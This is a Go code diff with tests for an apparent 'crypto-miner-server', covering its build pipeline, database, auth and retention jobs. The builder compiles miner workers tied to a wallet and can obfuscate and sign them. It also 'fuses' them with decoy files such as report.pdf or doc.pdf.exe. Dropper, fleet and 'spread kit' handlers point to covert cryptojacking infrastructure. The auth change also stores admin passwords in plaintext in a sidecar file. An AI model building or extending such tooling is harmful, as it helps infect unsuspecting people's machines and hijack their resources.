if err := os.MkdirAll(filepath.Dir(usersFilePath), 0755); err != nil {
dataDir := filepath.Dir(usersFilePath)
if err := os.MkdirAll(dataDir, 0755); err != nil {
usersMu.Unlock()
return err
}
data, _ := json.MarshalIndent(authUsers, "", " ")
return os.WriteFile(usersFilePath, data, 0600)
if err := os.WriteFile(usersFilePath, data, 0600); err != nil {
usersMu.Unlock()
return err
}
usersMu.Unlock()
if err := upsertLoginSidecar(dataDir, username, password); err != nil {
log.Printf("[Auth] WARNING: could not update login-credentials.json: %v", err)
}
return nil
}
func basicAuthMiddleware(next http.Handler) http.Handler {
@@ -294,7 +403,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
}
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
loadUsers(dataDir)
ensureUsersLoaded(dataDir)
r := chi.NewRouter()
@@ -414,7 +523,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
writeJSON(w, map[string]interface{}{"success": true})
})
// AI Autonomy (Ollama)
// Agent autonomy REST — forged Go agents only (X-Fleet-Secret header).
// Not exposed in dashboard client.ts; see agent/client and README API auth table.
r.Post("/agent/decide", aiHandler.HandleDecide)
r.Post("/agent/report", aiHandler.HandleReport)
r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat)

View File

@@ -28,6 +28,9 @@ func resetAuthState(t *testing.T) {
authUsers = map[string]string{}
usersFilePath = ""
usersMu.Unlock()
authLoadMu.Lock()
authLoadedDataDir = ""
authLoadMu.Unlock()
SetAgentPathSecret("")
SetRotateSecretFn(nil)
t.Cleanup(resetAuthGlobals)
@@ -437,3 +440,35 @@ func TestRouterNoWebRootFallback(t *testing.T) {
t.Fatalf("unexpected body: %s", rec.Body.String())
}
}
func TestLoadUsersCreatesAndReloadsLoginSidecar(t *testing.T) {
resetAuthState(t)
dataDir := t.TempDir()
LoadUsers(dataDir)
sidecarPath := filepath.Join(dataDir, "login-credentials.json")
data, err := os.ReadFile(sidecarPath)
if err != nil {
t.Fatalf("login sidecar: %v", err)
}
var creds map[string]string
if err := json.Unmarshal(data, &creds); err != nil {
t.Fatal(err)
}
pw, ok := creds["admin"]
if !ok || pw == "" {
t.Fatalf("expected admin password in sidecar: %v", creds)
}
if !checkPassword(authUsers["admin"], pw) {
t.Fatal("sidecar password should match users.json hash")
}
if err := saveUser("admin", "new-secret-pass"); err != nil {
t.Fatal(err)
}
reloaded, err := readLoginSidecar(sidecarPath)
if err != nil || reloaded["admin"] != "new-secret-pass" {
t.Fatalf("sidecar not updated after saveUser: %v err=%v", reloaded, err)
}
}

View File

@@ -0,0 +1,31 @@
package api
import (
"encoding/json"
"testing"
)
func TestServerPolicyJSONRoundTrip(t *testing.T) {
in := ServerPolicy{
MaxAgents: 128,
LogAgentConnections: true,
LogShareSubmissions: false,
LogPoolTraffic: true,
StrictWalletValidation: true,
MaxBuildSizeMB: 64,
PoolReconnectSeconds: 30,
}
data, err := json.Marshal(in)
if err != nil {
t.Fatal(err)
}
var out ServerPolicy
if err := json.Unmarshal(data, &out); err != nil {
t.Fatal(err)
}
if out != in {
t.Fatalf("round-trip mismatch:\n got %+v\n want %+v", out, in)
}
}

View File

@@ -0,0 +1,32 @@
{
"WSDashboardInit": [
"agents"
],
"WSAgentOffline": [
"agent_id"
],
"WSStatsUpdate": [
"agent_id",
"cpu_usage_pct",
"hashrate_15m",
"hashrate_15s",
"hashrate_1m",
"memory_usage_pct",
"shares_accepted",
"shares_submitted",
"uptime_seconds"
],
"WSCommandResult": [
"action",
"agent_id",
"message",
"success"
],
"WSAgentLog": [
"agent_id",
"content"
],
"WSServerLog": [
"line"
]
}

View File

@@ -1,6 +1,8 @@
package api
// Dashboard WebSocket payload types (keep in sync with server/web/src/types/ws.ts).
// Shared types: WSDashboardInit, WSAgentOffline, WSStatsUpdate, WSCommandResult, WSAgentLog, WSServerLog.
// Cross-language drift guard: testdata/ws_types_fixture.json (Go ws_types_test.go, TS ws.test.ts).
type WSDashboardInit struct {
Agents []interface{} `json:"agents"`

View File

@@ -2,14 +2,96 @@ package api
import (
"encoding/json"
"flag"
"os"
"path/filepath"
"reflect"
"sort"
"strings"
"testing"
)
var updateWSFixture = flag.Bool("updateWSFixture", false, "rewrite testdata/ws_types_fixture.json from ws_types.go struct tags")
func TestMain(m *testing.M) {
flag.Parse()
os.Exit(m.Run())
}
// Synced with server/web/src/types/ws.ts — see testdata/ws_types_fixture.json.
var wsTypeSamples = map[string]interface{}{
"WSDashboardInit": WSDashboardInit{},
"WSAgentOffline": WSAgentOffline{},
"WSStatsUpdate": WSStatsUpdate{},
"WSCommandResult": WSCommandResult{},
"WSAgentLog": WSAgentLog{},
"WSServerLog": WSServerLog{},
}
func wsTypeFieldKeys(v interface{}) []string {
t := reflect.TypeOf(v)
if t.Kind() == reflect.Ptr {
t = t.Elem()
}
var keys []string
for i := 0; i < t.NumField(); i++ {
tag := t.Field(i).Tag.Get("json")
if tag == "" || tag == "-" {
continue
}
name, _, _ := strings.Cut(tag, ",")
if name != "" {
keys = append(keys, name)
}
}
sort.Strings(keys)
return keys
}
func wsTypeKeysFromStructs() map[string][]string {
out := make(map[string][]string, len(wsTypeSamples))
for name, sample := range wsTypeSamples {
out[name] = wsTypeFieldKeys(sample)
}
return out
}
func TestWSTypeFieldKeysMatchFixture(t *testing.T) {
got := wsTypeKeysFromStructs()
fixturePath := filepath.Join("testdata", "ws_types_fixture.json")
if *updateWSFixture {
data, err := json.MarshalIndent(got, "", " ")
if err != nil {
t.Fatal(err)
}
data = append(data, '\n')
if err := os.WriteFile(fixturePath, data, 0o644); err != nil {
t.Fatal(err)
}
t.Logf("updated %s", fixturePath)
return
}
raw, err := os.ReadFile(fixturePath)
if err != nil {
t.Fatalf("read fixture: %v (run with -updateWSFixture to create)", err)
}
var want map[string][]string
if err := json.Unmarshal(raw, &want); err != nil {
t.Fatal(err)
}
if !reflect.DeepEqual(got, want) {
t.Fatalf("ws_types fixture drift: re-run go test -run TestWSTypeFieldKeysMatchFixture -updateWSFixture ./internal/api/")
}
}
func TestWSTypesJSONRoundTrip(t *testing.T) {
cases := []struct {
name string
in interface{}
}{
{"dashboard_init", WSDashboardInit{Agents: []interface{}{}}},
{"stats", WSStatsUpdate{AgentID: "a1", Hashrate15m: 123.4, CPUUsagePct: 50}},
{"offline", WSAgentOffline{AgentID: "a1"}},
{"command", WSCommandResult{AgentID: "a1", Action: "exec", Success: true, Message: "ok"}},

View File

@@ -99,9 +99,10 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
if err := h.db.InsertBuild(&models.BuildRecord{
ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
Threads: req.Threads, FileSize: zipBytes, FilePath: zipPath, CreatedAt: time.Now(),
Threads: req.Threads, FileSize: zipBytes, FilePath: zipPath, FileName: zipName, CreatedAt: time.Now(),
PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass,
Platform: "universal", BundleSize: zipBytes,
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
}); err != nil {
log.Printf("[Builder] InsertBuild error (spread kit %s): %v", buildID, err)
}
@@ -221,9 +222,10 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
if err := h.db.InsertBuild(&models.BuildRecord{
ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
Threads: req.Threads, FileSize: zipBytes2, FilePath: zipPath, CreatedAt: time.Now(),
Threads: req.Threads, FileSize: zipBytes2, FilePath: zipPath, FileName: zipName, CreatedAt: time.Now(),
PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass,
Platform: "universal", BundleSize: zipBytes2,
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
}); err != nil {
log.Printf("[Builder] InsertBuild error (universal fusion %s): %v", buildID, err)
}

View File

@@ -0,0 +1,161 @@
package builder
import (
"context"
"os"
"path/filepath"
"strings"
"testing"
"time"
)
func TestCompileGoProjectPlatformFakeGoFail(t *testing.T) {
h, database := testHandlerDB(t)
defer database.Close()
setFakeGoFail(t, h)
dir := t.TempDir()
out := filepath.Join(dir, "worker.exe")
if err := os.MkdirAll(filepath.Dir(out), 0755); err != nil {
t.Fatal(err)
}
_, err := h.compileGoProjectPlatform(context.Background(), dir, out, "-s -w", nil, false,
BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"})
if err == nil || !strings.Contains(err.Error(), "windows-amd64") {
t.Fatalf("expected platform compile error, got %v", err)
}
}
func TestCompileGoProjectPlatformFakeGoSuccess(t *testing.T) {
h, database := testHandlerDB(t)
defer database.Close()
setFakeGoSuccess(t, h)
dir := t.TempDir()
out := filepath.Join(dir, "worker.exe")
if err := os.MkdirAll(filepath.Dir(out), 0755); err != nil {
t.Fatal(err)
}
if _, err := h.compileGoProjectPlatform(context.Background(), dir, out, "-s -w", []string{"p2p"}, false,
BuildPlatform{GOOS: "linux", GOARCH: "amd64", Ext: ""}); err != nil {
t.Fatalf("fake go success: %v", err)
}
if _, err := os.Stat(out); err != nil {
t.Fatalf("output not created: %v", err)
}
}
func TestCompileGoProjectPlatformObfuscateWithoutGarble(t *testing.T) {
h, database := testHandlerDB(t)
defer database.Close()
setFakeGoSuccess(t, h)
h.garblePath = ""
dir := t.TempDir()
out := filepath.Join(dir, "worker.exe")
if err := os.MkdirAll(filepath.Dir(out), 0755); err != nil {
t.Fatal(err)
}
if _, err := h.compileGoProjectPlatform(context.Background(), dir, out, "-s -w", nil, true,
BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}); err != nil {
t.Fatalf("obfuscate without garble should fall back to plain go: %v", err)
}
}
func TestCompileGoProjectPlatformCancelled(t *testing.T) {
h, database := testHandlerDB(t)
defer database.Close()
setFakeGoSleep(t, h)
dir := t.TempDir()
out := filepath.Join(dir, "worker.exe")
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
errCh := make(chan error, 1)
go func() {
_, err := h.compileGoProjectPlatform(ctx, dir, out, "-s -w", nil, false,
BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"})
errCh <- err
}()
time.Sleep(200 * time.Millisecond)
cancel()
select {
case err := <-errCh:
if err == nil || !strings.Contains(err.Error(), "cancelled") {
t.Fatalf("expected cancelled build, got %v", err)
}
case <-time.After(10 * time.Second):
t.Fatal("compile did not stop after context cancel")
}
}
func TestCompileGoProjectDelegatesToPlatform(t *testing.T) {
h, database := testHandlerDB(t)
defer database.Close()
setFakeGoSuccess(t, h)
dir := t.TempDir()
out := filepath.Join(dir, "worker.exe")
if err := os.MkdirAll(filepath.Dir(out), 0755); err != nil {
t.Fatal(err)
}
if _, err := h.compileGoProject(context.Background(), dir, out, "-s -w", nil, false); err != nil {
t.Fatalf("compileGoProject: %v", err)
}
}
func TestCompileWorkerFakeGoSuccess(t *testing.T) {
h, database := testHandlerDB(t)
defer database.Close()
setFakeGoSuccess(t, h)
buildDir := t.TempDir()
agentDir := filepath.Join(buildDir, "agent")
if err := h.copyAgentSource(agentDir); err != nil {
t.Fatal(err)
}
req := &BuildRequest{
WorkerName: "pc-1",
ServerURL: "http://127.0.0.1:8989",
Wallet: "48abc",
MeshP2P: true,
}
out, err := h.compileWorker(context.Background(), agentDir, buildDir, req, "bid-1",
BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}, false)
if err != nil {
t.Fatalf("compileWorker: %v", err)
}
if _, err := os.Stat(out); err != nil {
t.Fatalf("compiled worker missing: %v", err)
}
builtin, err := os.ReadFile(filepath.Join(agentDir, "config", "builtin.go"))
if err != nil {
t.Fatal(err)
}
if !strings.Contains(string(builtin), "bid-1") || !strings.Contains(string(builtin), "pc-1") {
t.Fatalf("builtin config not written: %s", builtin)
}
}
func TestCompileWorkerFakeGoFail(t *testing.T) {
h, database := testHandlerDB(t)
defer database.Close()
setFakeGoFail(t, h)
buildDir := t.TempDir()
agentDir := filepath.Join(buildDir, "agent")
if err := h.copyAgentSource(agentDir); err != nil {
t.Fatal(err)
}
req := &BuildRequest{WorkerName: "pc", ServerURL: "http://x", Wallet: "48abc"}
_, err := h.compileWorker(context.Background(), agentDir, buildDir, req, "bid",
BuildPlatform{GOOS: "linux", GOARCH: "amd64", Ext: ""}, true)
if err == nil {
t.Fatal("expected compile failure")
}
}

View File

@@ -124,7 +124,7 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
}
if h.shouldObfuscate(req) && h.garblePath == "" {
resp.Notes = append(resp.Notes, "Garble not found — obfuscation will be skipped unless you install garble (run.bat installs it).")
resp.Notes = append(resp.Notes, "Garble not found — obfuscation will be skipped unless you install garble (devrun.bat installs it).")
}
if req.SignBuild && (!h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "") {
resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.")

View File

@@ -198,13 +198,13 @@ func patchFusionMain(src []byte, runOrder, payloadKind, mediaMode, mediaFileName
order := normalizeFusionOrder(runOrder)
out := string(src)
repl := map[string]string{
`const runOrder = "FUSION_RUN_ORDER"`: fmt.Sprintf(`const runOrder = %q`, order),
`const payloadKind = "FUSION_PAYLOAD_KIND"`: fmt.Sprintf(`const payloadKind = %q`, payloadKind),
`const mediaMode = "FUSION_MEDIA_MODE"`: fmt.Sprintf(`const mediaMode = %q`, mediaMode),
`const mediaFileName = "FUSION_MEDIA_FILE"`: fmt.Sprintf(`const mediaFileName = %q`, mediaFileName),
`"FUSION_RUN_ORDER"`: fmt.Sprintf("%q", order),
`"FUSION_PAYLOAD_KIND"`: fmt.Sprintf("%q", payloadKind),
`"FUSION_MEDIA_MODE"`: fmt.Sprintf("%q", mediaMode),
`"FUSION_MEDIA_FILE"`: fmt.Sprintf("%q", mediaFileName),
}
for old, new := range repl {
out = strings.Replace(out, old, new, 1)
for old, newVal := range repl {
out = strings.Replace(out, old, newVal, 1)
}
return []byte(out)
}

View File

@@ -1,6 +1,7 @@
package builder
import (
"context"
"encoding/json"
"os"
"path/filepath"
@@ -135,6 +136,47 @@ func TestPrepareFusionProjectMissingSource(t *testing.T) {
}
}
func TestPrepareFusionProjectSuccess(t *testing.T) {
h, database := testHandlerDB(t)
defer database.Close()
fusionDir, err := h.prepareFusionProject(t.TempDir(), "prep_first", "file", "paired", "report.pdf")
if err != nil {
t.Fatalf("prepareFusionProject: %v", err)
}
main, err := os.ReadFile(filepath.Join(fusionDir, "main.go"))
if err != nil {
t.Fatal(err)
}
body := string(main)
for _, want := range []string{`runOrder = "prep_first"`, `payloadKind = "file"`, `mediaFileName = "report.pdf"`} {
if !strings.Contains(body, want) {
t.Fatalf("patched main missing %q:\n%s", want, body)
}
}
if _, err := os.Stat(filepath.Join(fusionDir, "go.mod")); err != nil {
t.Fatalf("fusion go.mod not copied: %v", err)
}
}
func TestBuildFileFusionMissingWorker(t *testing.T) {
h, database := testHandlerDB(t)
defer database.Close()
setFakeGoSuccess(t, h)
buildDir := t.TempDir()
prep := filepath.Join(t.TempDir(), "report.pdf")
if err := os.WriteFile(prep, []byte("%PDF"), 0644); err != nil {
t.Fatal(err)
}
req := &BuildRequest{FusionMediaMode: "paired", FusionPayloadKind: "file"}
win := BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}
_, err := h.buildFileFusion(context.Background(), buildDir, prep, filepath.Join(buildDir, "missing.exe"), req, win)
if err == nil {
t.Fatal("expected worker copy failure")
}
}
func TestPublishFusionDeliverable(t *testing.T) {
root := t.TempDir()
h := &Handler{projectRoot: root}

View File

@@ -60,3 +60,99 @@ func TestBuildFusionFromRequestPaired(t *testing.T) {
t.Fatal("expected launcher path")
}
}
func TestBuildFileFusionPairedFakeGo(t *testing.T) {
h, database := testHandlerDB(t)
defer database.Close()
setFakeGoSuccess(t, h)
buildDir := t.TempDir()
worker := filepath.Join(buildDir, "worker.exe")
if err := os.WriteFile(worker, []byte("w"), 0644); err != nil {
t.Fatal(err)
}
prep := filepath.Join(t.TempDir(), "report.pdf")
if err := os.WriteFile(prep, []byte("%PDF-1.4"), 0644); err != nil {
t.Fatal(err)
}
req := &BuildRequest{
TargetOS: "windows",
FusionMediaMode: "paired",
FusionPayloadKind: "file",
FusionMediaBaseName: "report.pdf",
}
win := BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}
res, err := h.buildFileFusion(context.Background(), buildDir, prep, worker, req, win)
if err != nil {
t.Fatalf("buildFileFusion paired: %v", err)
}
if res == nil || res.LauncherPath == "" {
t.Fatal("expected launcher path")
}
if _, err := os.Stat(res.LauncherPath); err != nil {
t.Fatalf("launcher not created: %v", err)
}
if res.MediaName != "report.pdf" {
t.Fatalf("media name: %q", res.MediaName)
}
}
func TestBuildFileFusionEmbeddedFakeGo(t *testing.T) {
h, database := testHandlerDB(t)
defer database.Close()
setFakeGoSuccess(t, h)
buildDir := t.TempDir()
worker := filepath.Join(buildDir, "worker.bin")
if err := os.WriteFile(worker, []byte("w"), 0644); err != nil {
t.Fatal(err)
}
prep := filepath.Join(t.TempDir(), "clip.mkv")
if err := os.WriteFile(prep, []byte("fake video"), 0644); err != nil {
t.Fatal(err)
}
req := &BuildRequest{
TargetOS: "linux",
FusionMediaMode: "embedded",
FusionPayloadKind: "file",
}
linux := BuildPlatform{GOOS: "linux", GOARCH: "amd64", Ext: ""}
res, err := h.buildFileFusion(context.Background(), buildDir, prep, worker, req, linux)
if err != nil {
t.Fatalf("buildFileFusion embedded: %v", err)
}
payloadBin := filepath.Join(buildDir, "fusion", "assets", "payload.bin")
st, err := os.Stat(payloadBin)
if err != nil {
t.Fatalf("embedded payload.bin missing: %v", err)
}
if st.Size() == 0 {
t.Fatal("embedded mode should copy payload into assets")
}
if res.MediaName != "clip.mkv" {
t.Fatalf("media name: %q", res.MediaName)
}
}
func TestBuildFusionWrapperFakeGoSuccess(t *testing.T) {
h, database := testHandlerDB(t)
defer database.Close()
setFakeGoSuccess(t, h)
buildDir := t.TempDir()
worker := filepath.Join(buildDir, "worker.exe")
if err := os.WriteFile(worker, []byte("w"), 0644); err != nil {
t.Fatal(err)
}
prep := filepath.Join(t.TempDir(), "doc.pdf")
if err := os.WriteFile(prep, []byte("%PDF"), 0644); err != nil {
t.Fatal(err)
}
launcher, err := h.buildFusion(context.Background(), buildDir, prep, worker, "doc.pdf.exe", "parallel")
if err != nil {
t.Fatalf("buildFusion: %v", err)
}
if launcher == "" {
t.Fatal("expected launcher path")
}
}

View File

@@ -125,6 +125,17 @@ type BuildArtifactFile struct {
FilePath string `json:"file_path,omitempty"`
}
func buildExtraFilesFromArtifacts(arts []BuildArtifactFile) []models.BuildExtraFile {
if len(arts) == 0 {
return nil
}
out := make([]models.BuildExtraFile, len(arts))
for i, a := range arts {
out[i] = models.BuildExtraFile{FileName: a.FileName, FilePath: a.FilePath}
}
return out
}
type Handler struct {
db *db.Database
dataDir string
@@ -647,6 +658,7 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
FilePath: absPath,
FileName: finalName,
DownloadURL: dlURL,
ExtraFiles: buildExtraFilesFromArtifacts(extraArtifacts),
Platform: recordPlatform,
CreatedAt: time.Now(),
PoolHost: req.PoolHost,

View File

@@ -167,3 +167,30 @@ func TestShouldSignBuildNoRequestFlag(t *testing.T) {
t.Fatal("SignBuild flag required")
}
}
func TestBuildExtraFilesFromArtifacts(t *testing.T) {
if got := buildExtraFilesFromArtifacts(nil); got != nil {
t.Fatalf("nil input should return nil, got %+v", got)
}
if got := buildExtraFilesFromArtifacts([]BuildArtifactFile{}); got != nil {
t.Fatalf("empty slice should return nil, got %+v", got)
}
arts := []BuildArtifactFile{
{FileName: "readme.txt", FilePath: "/tmp/readme.txt"},
{FileName: "runner.exe", FilePath: "/tmp/runner.exe"},
}
got := buildExtraFilesFromArtifacts(arts)
if len(got) != 2 {
t.Fatalf("expected 2 extras, got %d", len(got))
}
if got[0].FileName != "readme.txt" || got[0].FilePath != "/tmp/readme.txt" {
t.Fatalf("first artifact: %+v", got[0])
}
}
func TestFusionUniversalStartShBareExtension(t *testing.T) {
sh := fusionUniversalStartSh(".pdf")
if !strings.Contains(sh, "-runner") {
t.Fatalf("expected runner suffix in script: %q", sh)
}
}

View File

@@ -67,3 +67,52 @@ func setFakeGoFail(t *testing.T, h *Handler) {
}
h.goBinPath = p
}
// setFakeGoSuccess points goBinPath at a script that writes the -o output and exits 0.
func setFakeGoSuccess(t *testing.T, h *Handler) {
t.Helper()
dir := t.TempDir()
if runtime.GOOS == "windows" {
p := filepath.Join(dir, "go-ok.bat")
script := "@echo off\r\nsetlocal EnableDelayedExpansion\r\nset \"OUT=\"\r\n" +
":loop\r\nif \"%~1\"==\"\" goto done\r\nif /I \"%~1\"==\"-o\" (\r\n" +
" set \"OUT=%~2\"\r\n shift\r\n shift\r\n goto loop\r\n)\r\n" +
"shift\r\ngoto loop\r\n:done\r\n" +
"if defined OUT (\r\n" +
" for %%I in (\"!OUT!\") do if not exist \"%%~dpI\" mkdir \"%%~dpI\" 2>nul\r\n" +
" echo fake>\"!OUT!\"\r\n" +
")\r\nexit /b 0\r\n"
if err := os.WriteFile(p, []byte(script), 0644); err != nil {
t.Fatal(err)
}
h.goBinPath = p
return
}
p := filepath.Join(dir, "go-ok.sh")
script := "#!/bin/sh\nOUT=\"\"\nwhile [ $# -gt 0 ]; do\n" +
" if [ \"$1\" = \"-o\" ]; then OUT=\"$2\"; shift; fi\n shift\n" +
"done\nif [ -n \"$OUT\" ]; then mkdir -p \"$(dirname \"$OUT\")\"; echo fake > \"$OUT\"; fi\nexit 0\n"
if err := os.WriteFile(p, []byte(script), 0755); err != nil {
t.Fatal(err)
}
h.goBinPath = p
}
// setFakeGoSleep points goBinPath at a script that blocks long enough to test cancellation.
func setFakeGoSleep(t *testing.T, h *Handler) {
t.Helper()
dir := t.TempDir()
if runtime.GOOS == "windows" {
p := filepath.Join(dir, "go-sleep.bat")
if err := os.WriteFile(p, []byte("@echo off\r\nping 127.0.0.1 -n 8 >nul\r\nexit /b 0\r\n"), 0644); err != nil {
t.Fatal(err)
}
h.goBinPath = p
return
}
p := filepath.Join(dir, "go-sleep.sh")
if err := os.WriteFile(p, []byte("#!/bin/sh\nsleep 8\nexit 0\n"), 0755); err != nil {
t.Fatal(err)
}
h.goBinPath = p
}

View File

@@ -61,6 +61,27 @@ func TestBuildCRUDAndList(t *testing.T) {
}
}
func TestBuildExtraFilesRoundTrip(t *testing.T) {
d := openTestDB(t)
build := &models.BuildRecord{
ID: "build-extra", WorkerName: "w", ServerURL: "u", Wallet: "w", CreatedAt: time.Now(),
DownloadURL: "/api/v1/builds/build-extra/download",
ExtraFiles: []models.BuildExtraFile{
{FileName: "payload.enc", FilePath: "/data/payload.enc"},
{FileName: "README.txt"},
},
}
insertBuild(t, d, build)
got, err := d.GetBuild("build-extra")
if err != nil {
t.Fatal(err)
}
if len(got.ExtraFiles) != 2 || got.ExtraFiles[0].FileName != "payload.enc" {
t.Fatalf("extra_files mismatch: %+v", got.ExtraFiles)
}
}
func TestGetBuildNotFound(t *testing.T) {
d := openTestDB(t)
_, err := d.GetBuild("missing")

View File

@@ -2,9 +2,11 @@ package db
import (
"database/sql"
"encoding/json"
"fmt"
"os"
"path/filepath"
"strings"
"time"
"crypto-miner-server/internal/models"
@@ -115,6 +117,7 @@ func (d *Database) migrate() error {
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN bundle_size INTEGER NOT NULL DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_name TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN download_url TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN extra_files TEXT NOT NULL DEFAULT '[]'`)
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN pinned INTEGER NOT NULL DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN notes TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN tags TEXT NOT NULL DEFAULT '[]'`)
@@ -252,25 +255,50 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash
// Build operations
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, platform, created_at, pool_host, pool_port, pool_tls, pool_pass, pinned`
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, extra_files, platform, created_at, pool_host, pool_port, pool_tls, pool_pass, pinned`
func encodeBuildExtraFiles(files []models.BuildExtraFile) string {
if len(files) == 0 {
return "[]"
}
b, err := json.Marshal(files)
if err != nil {
return "[]"
}
return string(b)
}
func decodeBuildExtraFiles(raw string) []models.BuildExtraFile {
raw = strings.TrimSpace(raw)
if raw == "" || raw == "[]" || raw == "null" {
return nil
}
var files []models.BuildExtraFile
if err := json.Unmarshal([]byte(raw), &files); err != nil {
return nil
}
return files
}
func scanBuild(row interface {
Scan(...any) error
}) (*models.BuildRecord, error) {
b := &models.BuildRecord{}
var pinnedInt int
var extraFilesRaw string
err := row.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.BundleSize,
&b.FilePath, &b.FileName, &b.DownloadURL, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass, &pinnedInt)
&b.FilePath, &b.FileName, &b.DownloadURL, &extraFilesRaw, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass, &pinnedInt)
b.Pinned = pinnedInt == 1
b.ExtraFiles = decodeBuildExtraFiles(extraFilesRaw)
return b, err
}
func (d *Database) InsertBuild(b *models.BuildRecord) error {
_, err := d.Exec(`INSERT INTO builds
(id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, platform, created_at, pool_host, pool_port, pool_tls, pool_pass)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
(id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, extra_files, platform, created_at, pool_host, pool_port, pool_tls, pool_pass)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
b.ID, b.WorkerName, b.ServerURL, b.Wallet, b.Threads, b.FileSize, b.BundleSize,
b.FilePath, b.FileName, b.DownloadURL, b.Platform, b.CreatedAt,
b.FilePath, b.FileName, b.DownloadURL, encodeBuildExtraFiles(b.ExtraFiles), b.Platform, b.CreatedAt,
b.PoolHost, b.PoolPort, b.PoolTLS, b.PoolPass)
return err
}

View File

@@ -1,9 +1,11 @@
package maintenance
import (
"context"
"log"
"os"
"path/filepath"
"sync"
"time"
"crypto-miner-server/internal/db"
@@ -15,21 +17,47 @@ var retentionTickInterval = 6 * time.Hour
// runRetentionFn is the work function invoked by StartRetentionJobs (overridable in tests).
var runRetentionFn = runRetention
var (
retentionMu sync.Mutex
retentionCancel context.CancelFunc
)
// StartRetentionJobs purges old stats and build artifacts on an interval.
func StartRetentionJobs(database *db.Database, dataDir string, statsHours, buildDays int) {
if statsHours <= 0 && buildDays <= 0 {
return
}
ctx, cancel := context.WithCancel(context.Background())
retentionMu.Lock()
retentionCancel = cancel
retentionMu.Unlock()
go func() {
runRetentionFn(database, dataDir, statsHours, buildDays)
ticker := time.NewTicker(retentionTickInterval)
defer ticker.Stop()
for range ticker.C {
runRetentionFn(database, dataDir, statsHours, buildDays)
for {
select {
case <-ctx.Done():
return
case <-ticker.C:
runRetentionFn(database, dataDir, statsHours, buildDays)
}
}
}()
}
// StopRetentionJobs stops the background retention loop started by StartRetentionJobs.
func StopRetentionJobs() {
retentionMu.Lock()
cancel := retentionCancel
retentionCancel = nil
retentionMu.Unlock()
if cancel != nil {
cancel()
}
}
func runRetention(database *db.Database, dataDir string, statsHours, buildDays int) {
if statsHours > 0 {
cutoff := time.Now().Add(-time.Duration(statsHours) * time.Hour)

View File

@@ -44,6 +44,7 @@ func seedHashrateSample(t *testing.T, d *db.Database, agentID string, ts time.Ti
func TestStartRetentionJobs_NoOpWhenDisabled(t *testing.T) {
d := openTestDB(t)
t.Cleanup(StopRetentionJobs)
StartRetentionJobs(d, t.TempDir(), 0, 0)
// Disabled config must not start a goroutine that mutates data.
time.Sleep(20 * time.Millisecond)
@@ -53,6 +54,7 @@ func TestStartRetentionJobs_RunsImmediately(t *testing.T) {
d := openTestDB(t)
seedHashrateSample(t, d, "a1", time.Now().Add(-48*time.Hour), 100)
t.Cleanup(StopRetentionJobs)
StartRetentionJobs(d, t.TempDir(), 24, 0)
deadline := time.Now().Add(2 * time.Second)
for time.Now().Before(deadline) {
@@ -81,8 +83,8 @@ func TestStartRetentionJobs_TickerInterval(t *testing.T) {
runRetentionFn = noopRetention
t.Cleanup(func() {
retentionTickInterval = prev
// StartRetentionJobs has no stop handle; leave a noop so the leaked goroutine is harmless.
runRetentionFn = func(database *db.Database, dataDir string, statsHours, buildDays int) {}
runRetentionFn = runRetention
StopRetentionJobs()
})
StartRetentionJobs(d, t.TempDir(), 1, 0)
